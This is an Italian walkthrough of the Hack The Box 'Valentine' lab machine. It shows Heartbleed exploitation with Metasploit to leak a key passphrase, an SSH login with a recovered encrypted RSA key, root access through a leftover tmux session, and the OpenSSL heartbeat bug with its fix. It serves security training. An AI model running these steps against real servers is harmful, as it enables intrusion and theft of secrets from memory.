HTB - Valentine

Effettuando i soliti scans con nmap troviamo le seguenti porte aperte

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Ubuntu))
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)

Andando nel server siamo troviamo un'immagine che fa vedere un cuore che sta sanguinando. Questo è un hint utile per dopo.

Effettuando poi una semplice enumerazione delle cartelle con dirsearch troviamo invece le seguenti risorse offerte dal web server

[16:12:35] 200 -  552B  - /decode
[16:12:35] 301 -  304B  - /dev  ->  http://valentine/dev/
[16:12:35] 200 -  554B  - /encode
[16:12:37] 200 -   38B  - /index
[16:12:37] 200 -   38B  - /index.php

Andando nella cartella /dev del web server troviamo due files:

• Il file notes.txt, che contiene il seguente testo

  To do:
  
  1) Coffee.
  2) Research.
  3) Fix decoder/encoder before going live.
  4) Make sure encoding/decoding is only done client-side.
  5) Don't use the decoder/encoder until any of this is done.
  6) Find a better way to take notes.
  

• Una file contenente dei bytes in esadecimale, che, quando decodificati utilizzando un hex-to-ascii decoder, danno forma ad una chiave privata rsa che è protetta da una password

  -----BEGIN RSA PRIVATE KEY-----
  Proc-Type: 4,ENCRYPTED
  DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
  
  DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
  5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
  0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
  Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
  OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
  pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
  QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
  p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
  Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
  t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
  XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
  aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
  +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
  AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
  r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
  2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
  e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
  09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
  dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
  cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
  pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
  Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
  suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
  l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
  RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
  -----END RSA PRIVATE KEY-----
  

Il web server messo a disposizione utilizza per supportare il protocollo TLS una versione di openssl vulnerabile alla famosa vulnerabilità heartbleed. Questo può essere visto eseguendo il seguente comando

nmap -p 443 --script ssl-heartbleed valentine

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 16:17 CET
Nmap scan report for valentine (10.129.121.10)
Host is up (0.052s latency).

PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

Heartbleed è una famosa vunlerabilità di OpenSSL, l'implementazione open source del protocollo TLS, utilizzato per supportare la comunicazione cifrata HTTPS. Le versioni di OpenSSL vulnerabilità ad heartbleed sono le versioni dalla 1.0.1 alla 1.0.1.f.

Questa vulnerabilità è conseguenza di come queste versioni di OpenSSL gestiscono i messaggi "hearbeat", tipicamente utilizzati per verificare se la connessione con il server è ancora up. In queste versioni vulnerabili questi messaggi heartbeat non venivano processati correttamente, e un attaccante è in grado di inviare un singolo byte al server dichiarando però di averne inviati 64k bytes. Il server risponde al messaggio inviando indietro 64k bytes. La criticità sta nel fatto che i bytes inviati dal server al client sono presi in modo non controllato dalla memoria del processo, e quindi potrebbero eventualmente includere dei segreti del server.

Per exploitare questa vulnerabilità possiamo utilizzare il seguente modulo di metasploit.

msfconsole
search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed
show options
set verbose true
set RHOSTS <valentine_ip>
run

Una volta che lanciamo il modulo otteniamo la seguente risposta.

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run

[*] 10.129.119.210:443    - Leaking heartbeat response #1
[*] 10.129.119.210:443    - Sending Client Hello...
[*] 10.129.119.210:443    - SSL record #1:
[*] 10.129.119.210:443    -     Type:    22
[*] 10.129.119.210:443    -     Version: 0x0301
[*] 10.129.119.210:443    -     Length:  86
[*] 10.129.119.210:443    -     Handshake #1:
[*] 10.129.119.210:443    -             Length: 82
[*] 10.129.119.210:443    -             Type:   Server Hello (2)
[*] 10.129.119.210:443    -             Server Hello Version:           0x0301
[*] 10.129.119.210:443    -             Server Hello random data:       605c3e5d496a2b8de38ca697baffedd224393feff0de224dd6bc89f46d5920e0
[*] 10.129.119.210:443    -             Server Hello Session ID length: 32
[*] 10.129.119.210:443    -             Server Hello Session ID:        8b27bc38edf5a9cbcb83f83a91d8aa14cff400f2abbc0cf6d59fddebdf0e0ced
[*] 10.129.119.210:443    - SSL record #2:
[*] 10.129.119.210:443    -     Type:    22
[*] 10.129.119.210:443    -     Version: 0x0301
[*] 10.129.119.210:443    -     Length:  885
[*] 10.129.119.210:443    -     Handshake #1:
[*] 10.129.119.210:443    -             Length: 881
[*] 10.129.119.210:443    -             Type:   Certificate Data (11)
[*] 10.129.119.210:443    -             Certificates length: 878
[*] 10.129.119.210:443    -             Data length: 881
[*] 10.129.119.210:443    -             Certificate #1:
[*] 10.129.119.210:443    -                     Certificate #1: Length: 875
[*] 10.129.119.210:443    -                     Certificate #1: #<OpenSSL::X509::Certificate: subject=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, issuer=#<OpenSSL::X509::Name CN=valentine.htb,O=valentine.htb,ST=FL,C=US>, serial=#<OpenSSL::BN:0x00007f74dcd448f8>, not_before=2018-02-06 00:45:25 UTC, not_after=2019-02-06 00:45:25 UTC>
[*] 10.129.119.210:443    - SSL record #3:
[*] 10.129.119.210:443    -     Type:    22
[*] 10.129.119.210:443    -     Version: 0x0301
[*] 10.129.119.210:443    -     Length:  331
[*] 10.129.119.210:443    -     Handshake #1:
[*] 10.129.119.210:443    -             Length: 327
[*] 10.129.119.210:443    -             Type:   Server Key Exchange (12)
[*] 10.129.119.210:443    - SSL record #4:
[*] 10.129.119.210:443    -     Type:    22
[*] 10.129.119.210:443    -     Version: 0x0301
[*] 10.129.119.210:443    -     Length:  4
[*] 10.129.119.210:443    -     Handshake #1:
[*] 10.129.119.210:443    -             Length: 0
[*] 10.129.119.210:443    -             Type:   Server Hello Done (14)
[*] 10.129.119.210:443    - Sending Heartbeat...
[*] 10.129.119.210:443    - Heartbeat response, 65535 bytes
[+] 10.129.119.210:443    - Heartbeat response with leak, 65535 bytes
[*] 10.129.119.210:443    - Printable info leaked:
<random garbage>
<random garbage>
<random garbage>
<random garbage>
<random garbage>
[*] 10.129.119.210:443    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed   

Se lanciamo il comando varie volte, nella memoria ritornata dal server troviamo anche i seguenti dati

b9597dc55b21a2759b480fb102f9999a

Gecko/20100101 Firefox/45.0..Referer:
https://127.0.0.1/decode.php..Content-Type:
application/x-www-form-urlencoded..Content-Length:
42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.....bH..M

La stringa di interesse è la seguente

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==   

che quando viene decodificata in base64 ci permette di ottenere la password heartbleedbelievethehype.

Utilizzando la password appena trovata possiamo leggere la chiave privata trovata prima nel seguente modo

openssl rsa -in encrypted_id_rsa      

Una volta che abbiamo la chiave rsa possiamo utilizzarla per loggare nella macchina come l'utente hype

ssh -i id_rsa hype@valentine   

L'user flag è quindi disponibile per essere letta nella cartella Desktop.

hype@Valentine:~/Desktop$ cat /home/hype/Desktop/user.txt 

Per quanto riguarda la root flag invece una veloce enumerazione del sistema rivela una cartella interessante /.devs contente una sessione tmux messa in pausa. Per riprendere il controllo della sessione possiamo eseguire

tmux -S /.devs/dev_sess

una volta eseguita notiamo che siamo diventati l'utente root, in quanto la sessione lasciata in pausa era una loggata con root. A questo punto quindi possiamo leggere la flag come segue

root@Valentine:~# cat /root/root.txt 

Per capire il bug heartbleed le seguenti risorse possono essere utili:

• Commit in which it was fixed (?)

• CVE-2014-0160

• https://www.exploit-db.com/exploits/32745

• https://www.exploit-db.com/exploits/32764

• https://stackabuse.com/heartbleed-bug-explained/

Il codice di interesse in particolare si trova nella funzione tls1_process_heartbeat, presente nel file ./ssl/t1_lib.c.

// p points to record data from client
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload); // read 2 bytes from p and put them in payload
pl = p;

// now payload has length of data from client

come possiamo vedere, dopo aver letto le informazioni dal messaggio il server alloca la memoria in funzione del numero di bytes specificati dall'utente.

if (hbtype == TLS1_HB_REQUEST)
  {
    unsigned char *buffer, *bp;
    int r;

    /* Allocate memory for the response, size is 1 bytes
     * message type, plus 2 bytes payload length, plus
     * payload, plus padding
     */
    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    bp = buffer;                 

e poi i dati vengono copiati nel messaggio di risposta.

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);

Il problema, che da luogo alla vulnerabilità heartbleed, sta proprio in questa memcpy, in quanto copia payload bytes da pl a pb. Il fatto però è che pl può puntare ad un buffer che contiene molti meno bytes rispetto al numero effettivamente dichiarato dal client. In questi casi nella risposta il server copierà dei byte presi dalla memoria vicina a quella puntata dal buffer pl.

Per sistemare la vulnerabilità è stato aggiunto il seguente codice all'inizio della funzione, per eliminare il messaggio nei casi in cui il payload inviato dal client è troppo piccolo.

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
  return 0; /* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
  return 0; /* silently discard per RFC 6520 sec. 4 */
pl = p;